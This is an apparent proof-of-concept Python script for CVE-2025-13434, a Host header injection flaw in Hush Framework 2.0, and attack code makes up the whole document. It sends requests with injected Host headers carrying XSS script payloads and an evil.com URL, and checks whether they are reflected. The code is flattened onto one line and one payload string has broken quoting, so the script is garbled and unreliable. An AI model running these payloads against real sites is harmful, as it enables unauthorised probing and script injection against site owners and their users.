CVE-2025-13434 Hush Framework 2.0 HTTP Host Header注入漏洞

import requests # CVE-2025-13434 PoC - HTTP Host Header Injection in Hush Framework 2.0 # Target: jameschz Hush Framework 2.0 def test_host_header_injection(target_url): """ Test for HTTP Host Header Injection vulnerability This PoC demonstrates how an attacker can inject arbitrary Host headers """ # Normal request for baseline normal_headers = { 'Host': 'legitimate-site.com' } # Malicious Host header payloads payloads = [ "<script>alert('XSS')</script>.evil.com", "xss"</script><script>alert('XSS')</script>", "http://evil.com/cache-busting", "127.0.0.1', followed by malicious content" ] print(f"[*] Testing target: {target_url}") print(f"[*] Baseline request to: {normal_headers['Host']}") try: # Send baseline request response = requests.get(target_url, headers=normal_headers, timeout=10) print(f"[+] Baseline response status: {response.status_code}") # Test each payload for i, payload in enumerate(payloads, 1): malicious_headers = { 'Host': payload } print(f"\n[*] Testing payload {i}: {payload}") response = requests.get(target_url, headers=malicious_headers, timeout=10) # Check if payload is reflected in response if payload.replace('<', '').replace('>', '') in response.text or \ 'evil.com' in response.text or \ 'xss' in response.text.lower(): print(f"[!] Potential vulnerability detected with payload {i}") print(f"[+] Host header was processed without proper sanitization") else: print(f"[-] Payload {i} did not trigger obvious vulnerability indicators") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": # Example usage target = "http://vulnerable-app.com/" test_host_header_injection(target)